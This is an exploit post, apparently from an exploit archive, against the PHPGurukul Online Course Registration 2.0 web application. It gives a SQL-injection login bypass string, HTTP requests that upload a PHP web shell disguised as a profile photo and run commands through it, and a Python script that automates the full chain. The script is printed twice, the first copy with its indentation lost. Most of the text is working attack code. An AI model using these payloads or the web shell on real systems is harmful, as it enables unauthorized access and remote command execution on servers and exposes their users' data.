Online Course Registration 2.0 - Remote Code Execution Exploit

# Exploit Title: Online Course Registration 2.0 - Remote Code Execution
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/online-course-registration-free-download/
# Version: v2.0
# Category: Webapps
# Tested on: Xampp for Windows
 
# Description:
Attacker can bypass login page and access to student change password dashboard.
 
PoC Request (Authentication Bypass):
 
POST /onlinecourse/index.php HTTP/1.1
Host: target
 
regno=joke' or '1'='1'#&password=joke' or '1'='1'#&submit=
 
 
There isn't any file extension control in student panel "My Profile" section.
An unauthorized user can upload php file as profile image.
 
First PoC Request (RCE):
 
POST /onlinecourse/my-profile.php HTTP/1.1
Host: target
 
-----------------------------16046344889164047791563222514
Content-Disposition: form-data; name="photo"; filename="simple.php"
Content-Type: application/x-php
 
<?php $cmd=$_GET["cmd"]; echo `$cmd`; ?>
 
 
Second PoC Request (RCE):
 
GET /onlinecourse/studentphoto/simple.php?cmd=ipconfig HTTP/1.1
Host: target
 
 
Below basic python script will bypass authentication and execute command on target server.
 
 
 
 
 
import requests
import sys                        
 
if (len(sys.argv) !=3) or sys.argv[1] == "-h":
print "[*] Usage: PoC.py rhost/rpath "
print "[*] e.g.: PoC.py 127.0.0.1/onlinecourse "
exit(0)
 
rhost = sys.argv[1]
command = sys.argv[2]
 
 
 
url = "http://"+rhost+"/index.php"
data = {"regno": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}
 
with requests.Session() as session:
#bypass authentication
lg = login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})
 
#check authentication bypass
check = session.get("http://"+rhost+"/my-profile.php", allow_redirects=False)
if check.status_code == 200:
print "[+] Authentication bypass was successfull"
else:
print "[-] Authentication bypass was unsuccessful"
sys.exit()
 
#upload simple php file
 
files = {'photo':('command.php', '<?php system($_GET["cmd"]); ?>')}
fdata = {"studentname": "Test", "studentregno": "10806157", "Pincode": "715989", "cgpa": "0.00", "photo": "command.php", "submit": ""}
furl = "http://"+rhost+"/my-profile.php"
session.post(url=furl, files= files, data=fdata)
 
#execution
final=session.get("http://"+rhost+"/studentphoto/command.php?cmd="+command)
 
#check execution
if final.status_code == 200:
print "[+] Command execution completed successfully."
print "\tPut on a happy face!\n"
else:
print "[-] Command execution was unsuccessful."
sys.exit()
 
print final.text
 
online-course-registration-rce.png
 
poc.py
 
import requests
import sys                         
 
if (len(sys.argv) !=3) or sys.argv[1] == "-h":
        print "[*] Usage: PoC.py rhost/rpath "
        print "[*] e.g.: PoC.py 127.0.0.1/onlinecourse "
        exit(0) 
 
rhost = sys.argv[1]
command = sys.argv[2]
 
 
 
url = "http://"+rhost+"/index.php"
data = {"regno": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}
 
with requests.Session() as session:
        #bypass authentication
        lg = login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})
         
        #check authentication bypass
        check = session.get("http://"+rhost+"/my-profile.php", allow_redirects=False)
        if check.status_code == 200:
                print "[+] Authentication bypass was successfull"
        else:
                print "[-] Authentication bypass was unsuccessful"
                sys.exit()       
 
        #upload simple php file
 
        files = {'photo':('command.php', '<?php system($_GET["cmd"]); ?>')}
        fdata = {"studentname": "Test", "studentregno": "10806157", "Pincode": "715989", "cgpa": "0.00", "photo": "command.php", "submit": ""}
        furl = "http://"+rhost+"/my-profile.php"
        session.post(url=furl, files= files, data=fdata)
         
        #execution
        final=session.get("http://"+rhost+"/studentphoto/command.php?cmd="+command)
 
        #check execution
        if final.status_code == 200:
                print "[+] Command execution completed successfully.\n"
                print "\tPut on a happy face!\n"
        else:
                print "[-] Command execution was unsuccessful."
                sys.exit()
 
        print final.text
 
#  0day.today [2020-01-04]  #